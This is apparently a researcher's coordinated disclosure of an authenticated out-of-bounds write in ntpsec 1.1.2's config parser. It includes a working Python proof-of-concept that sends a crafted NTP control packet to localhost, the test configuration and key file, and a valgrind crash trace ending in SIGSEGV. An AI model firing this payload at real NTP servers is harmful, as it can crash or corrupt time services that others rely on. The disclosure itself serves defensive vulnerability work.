Authenticated out-of-bounds write in ntp_parser.y
Please note that I will publicly disclose this issue no later than January 19, 2019. 90 days from today.
It was found possible to cause ntpd to write out of bounds (OOB) using an authenticated but malformed config
request.
Proof of concept exploit
(Note that this PoC uses keyid 1, with password 'gurka')
#!/usr/bin/env python
import sys
import socket
buf = ("\x16\x08\x00\x03\x00\x00\x00\x00\x00\x00\x01\xd4\x6c\x65\x61\x6d" +
"\x3d\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x42\x42\x42\x42\x42" +
"\x42\x42\x42\x42\x42\x41\x41\x41\x41\x41\x41\x41\x34\x41\x41\x42" +
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x41\x41\x41\x41\x41\x41\x41" +
"\x41\x41\x41\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x41\x41\x41" +
"\x42\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x42\x42\x42\x42\x42" +
"\x42\x42\x42\x42\x42\x31\x32\x33\x34\x35\x3e\x37\x38\x39\x30\x31" +
"\x32\x33\x34\x35\x36\x37\x38\x39\x30\x31\x32\x33\x34\x35\x36\x37" +
"\x38\x39\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x20\x2d\x36\x33" +
"\x34\x35\x36\x37\x38\x39\x30\x31\x32\x38\x3d\x20\x2d\x36\x4a\x0a" +
"\x0a\x0a\x0a\x0a\x64\x0a\x0a\x0a\x0a\x2b\x0a\x0a\x0a\x34\x35\x36" +
"\x37\x38\x39\x0a\x0a\x0a\x26\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a" +
"\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x09\x0a\x0a\x0a\x0a\x0a\x0a" +
"\x42\x42\x42\x54\x42\x42\x41\x41\x41\x34\x41\x41\x42\x42\x42\x42" +
"\x42\x42\x42\x42\x42\x42\x41\x41\x41\x0a\x2b\x0a\x0a\x0a\x0a\x41" +
"\x0a\x2b\x0a\x0a\x0a\x0a\x0a\x0a\x64\x0a\x0a\x0a\x0a\x2b\x0a\x0a" +
"\x41\x41\x41\x41\x57\x41\x42\x42\x42\x42\x42\x42\x42\x42\x25\x42" +
"\x42\x41\x41\x41\x0a\xae\x4a\x0a\x0a\x0a\x0a\x0a\x64\x0a\x0a\x08" +
"\x0a\x2b\x0a\x0a\x0a\x34\x35\x36\x37\x38\x39\x0a\x0a\x0a\x26\x0a" +
"\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a" +
"\x0a\x09\x0a\x0a\x0a\x0a\x0a\x0a\x42\x42\x42\x54\x42\x42\x41\x41" +
"\x41\x34\x41\x41\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x41\x41" +
"\x41\x0a\x2b\x0a\x0a\x0a\x0a\x41\x0a\x2b\x0a\x0a\x0a\x0a\x0a\x0a" +
"\x64\x0a\x0a\x0a\x0a\x2b\x0a\x0a\x41\x41\x41\x41\x57\x41\x42\x42" +
"\x42\x42\x42\x42\x42\x42\x42\x42\x41\x41\x41\x0a\x0a\x42\x42\x42" +
"\x41\x41\x41\x0a\x2b\x0a\x0a\x0a\x0a\x0a\x0a\x64\x41\x41\x41\x43" +
"\x57\x41\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x41\x41\x41\x0a" +
"\x0a\x0a\x05\xff\xff\x05\x0a\x64\x1b\x0a\x0a\x0a\x2b\x0a\x0a\x0a" +
"\x0a\x0a\x41\x41\x41\x41\x41\x41\x41\x41\x41\x33\x34\x00\x00\x00" +
"\x80\x39\x30\x20\x32\x33\x34\x35\x36\x37\x38\x39\x30\x41\x5b\x41" +
"\x00\x00\x00\x01\x8f\x2c\x6e\x5b\x49\xe7\xa0\x78\xa1\x9b\x50\xf5" +
"\xb2\x18\x04\x00")
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(buf, ('127.0.0.1', 123))
Configuration
magnus@h4xb0x:~/projects/ntpsec/untouched/un2/ntpsec-1.1.2$ cat ~/resources/ntp.conf
#server 127.127.1.0 prefer
#fudge 127.127.1.0 stratum 10
#driftfile /var/lib/ntp/drift
#broadcastdelay 0.008
logfile /tmp/ntp.log
# Give localhost full access rights
restrict 127.0.0.1
# Given local machine access to query
#restrict 172.16.59.179 mask 255.255.255.255 nomodify notrap
# disable auth
#enable auth
keys /home/magnus/resources/keys
trustedkey 1
controlkey 1
requestkey 1
magnus@h4xb0x:~/projects/ntpsec/untouched/un2/ntpsec-1.1.2$ cat ~/resources/keys
1 M gurka
2 M agurk
Crash report
magnus@h4xb0x:~/projects/ntpsec/untouched/un2/ntpsec-1.1.2$ sudo valgrind ./build/main/ntpd/ntpd -n -c ~/resources/ntp.conf
==5650== Memcheck, a memory error detector
==5650== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.
==5650== Using Valgrind-3.10.0 and LibVEX; rerun with -h for copyright info
==5650== Command: ./build/main/ntpd/ntpd -n -c /home/magnus/resources/ntp.conf
==5650==
2018-10-21T21:37:52 ntpd[5650]: INIT: ntpd ntpsec-1.1.2 2018-10-21T19:18:03Z: Starting
2018-10-21T21:37:52 ntpd[5650]: INIT: Command line: ./build/main/ntpd/ntpd -n -c /home/magnus/resources/ntp.conf
2018-10-21T21:37:52 ntpd[5650]: INIT: precision = 2.622 usec (-18)
2018-10-21T21:37:52 ntpd[5650]: INIT: successfully locked into RAM
2018-10-21T21:37:52 ntpd[5650]: CONFIG: readconfig: parsing file: /home/magnus/resources/ntp.conf
2018-10-21T21:37:52 ntpd[5650]: CONFIG: requestkey is a no-op because ntpdc has been removed.
2018-10-21T21:37:52 ntpd[5650]: LOG: switching logging to file /tmp/ntp.log
2018-10-21T21:37:52 ntpd[5650]: AUTH: authreadkeys: reading /home/magnus/resources/keys
2018-10-21T21:37:52 ntpd[5650]: AUTH: authreadkeys: added 2 keys
2018-10-21T21:37:52 ntpd[5650]: INIT: Using SO_TIMESTAMPNS
2018-10-21T21:37:52 ntpd[5650]: IO: Listen and drop on 0 v6wildcard [::]:123
2018-10-21T21:37:52 ntpd[5650]: IO: Listen and drop on 1 v4wildcard 0.0.0.0:123
2018-10-21T21:37:52 ntpd[5650]: IO: Listen normally on 2 lo 127.0.0.1:123
2018-10-21T21:37:52 ntpd[5650]: IO: Listen normally on 3 eth0 192.168.245.220:123
2018-10-21T21:37:52 ntpd[5650]: IO: Listen normally on 4 eth0 192.168.245.131:123
2018-10-21T21:37:52 ntpd[5650]: IO: Listen normally on 5 lo [::1]:123
2018-10-21T21:37:52 ntpd[5650]: IO: Listen normally on 6 eth0 [fe80::50:56ff:fe38:d7b8%2]:123
2018-10-21T21:37:52 ntpd[5650]: IO: Listening on routing socket on fd #23 for interface updates
2018-10-21T21:37:52 ntpd[5650]: statistics directory /var/NTP/ does not exist or is unwriteable, error No such file or directory
2018-10-21T21:38:01 ntpd[5650]: MODE6: 127.0.0.1 config: leam=AAAAAAAAAABBBBBBBBBBAAAAAAA4AABBBBBBBBBBAAAAAAAAAABBBBBBBBBBAAABAAAAAAAAAABBBBBBBBBB12345>789012345678901234567890123456789 -634567890128= -6J
...
< cut for brievity >
...
2018-10-21T21:38:01 ntpd[5650]: CONFIG: line 45 column 0 syntax error, unexpected T_String, expecting $end
2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 45, column 0
2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 45, column 0
2018-10-21T21:38:01 ntpd[5650]: CONFIG: line 52 column 0 syntax error, unexpected T_String, expecting $end
2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 52, column 0
2018-10-21T21:38:01 ntpd[5650]: CONFIG: line 56 column 0 syntax error, unexpected T_String, expecting $end
2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 56, column 0
2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 56, column 0
2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 56, column 0
2018-10-21T21:38:01 ntpd[5650]: CONFIG: line 64 column 0 syntax error, unexpected T_String, expecting $end
2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 64, column 0
2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 64, column 0
2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 64, column 0
2018-10-21T21:38:01 ntpd[5650]: CONFIG: line 70 column 0 syntax error, unexpected T_Integer, expecting $end
2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 70, column 0
2018-10-21T21:38:01 ntpd[5650]: CONFIG: line 73 column 0 syntax error, unexpected T_String, expecting $end
2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 73, column 0
2018-10-21T21:38:01 ntpd[5650]: CONFIG: line 97 column 0 syntax error, unexpected T_String, expecting $end
2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 97, column 0
2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 97, column 0
2018-10-21T21:38:01 ntpd[5650]: CONFIG: line 102 column 0 syntax error, unexpected T_String, expecting $end
2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 102, column 0
2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 102, column 0
2018-10-21T21:38:01 ntpd[5650]: CONFIG: line 109 column 0 syntax error, unexpected T_String, expecting $end
2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 109, column 0
2018-10-21T21:38:01 ntpd[5650]: CONFIG: line 113 column 0 syntax error, unexpected T_String, expecting $end
2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 113, column 0
2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 113, column 0
2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 113, column 0
2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 113, column 0
2018-10-21T21:38:01 ntpd[5650]: CONFIG: line 124 column 0 syntax error, unexpected T_String, expecting $end
2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 124, column 0
2018-10-21T21:38:01 ntpd[5650]: CONFIG: line 127 column 0 syntax error, unexpected T_String, expecting $end
2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 127, column 0
2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 127, column 0
2018-10-21T21:38:01 ntpd[5650]: CONFIG: line 131 column 0 syntax error, unexpected T_String, expecting $end
2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 131, column 0
2018-10-21T21:38:01 ntpd[5650]: CONFIG: line 136 column 0 syntax error, unexpected T_String, expecting $end
==5650== Invalid write of size 1
==5650== at 0x5FE83F2: vsnprintf (vsnprintf.c:117)
==5650== by 0x5FC6E21: snprintf (snprintf.c:33)
==5650== by 0x123294: yyerror (ntp_parser.y:1418)
==5650== by 0x1249CE: yyparse (ntp_parser.tab.c:2917)
==5650== by 0x113FB2: config_remotely (ntp_config.c:2985)
==5650== by 0x127F97: configure (ntp_control.c:3050)
==5650== by 0x128F5D: process_control (ntp_control.c:898)
==5650== by 0x11DFC1: receive (ntp_proto.c:676)
==5650== by 0x122BD2: mainloop (ntpd.c:982)
==5650== by 0x122BD2: ntpdmain (ntpd.c:911)
==5650== by 0x122D66: main (ntpd.c:426)
==5650== Address 0x6f9822c0 is not stack'd, malloc'd or (recently) free'd
==5650==
==5650==
==5650== Process terminating with default action of signal 11 (SIGSEGV)
==5650== Access not within mapped region at address 0x6F9822C0
==5650== at 0x5FE83F2: vsnprintf (vsnprintf.c:117)
==5650== by 0x5FC6E21: snprintf (snprintf.c:33)
==5650== by 0x123294: yyerror (ntp_parser.y:1418)
==5650== by 0x1249CE: yyparse (ntp_parser.tab.c:2917)
==5650== by 0x113FB2: config_remotely (ntp_config.c:2985)
==5650== by 0x127F97: configure (ntp_control.c:3050)
==5650== by 0x128F5D: process_control (ntp_control.c:898)
==5650== by 0x11DFC1: receive (ntp_proto.c:676)
==5650== by 0x122BD2: mainloop (ntpd.c:982)
==5650== by 0x122BD2: ntpdmain (ntpd.c:911)
==5650== by 0x122D66: main (ntpd.c:426)
==5650== If you believe this happened as a result of a stack
==5650== overflow in your program's main thread (unlikely but
==5650== possible), you can try to increase the size of the
==5650== main thread stack using the --main-stacksize= flag.
==5650== The main thread stack size used in this run was 8388608.
==5650==
==5650== HEAP SUMMARY:
==5650== in use at exit: 44,643 bytes in 617 blocks
==5650== total heap usage: 751 allocs, 134 frees, 132,350 bytes allocated
==5650==
==5650== LEAK SUMMARY:
==5650== definitely lost: 294 bytes in 29 blocks
==5650== indirectly lost: 0 bytes in 0 blocks
==5650== possibly lost: 3,178 bytes in 5 blocks
==5650== still reachable: 41,171 bytes in 583 blocks
==5650== suppressed: 0 bytes in 0 blocks
==5650== Rerun with --leak-check=full to see details of leaked memory
==5650==
==5650== For counts of detected and suppressed errors, rerun with: -v
==5650== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)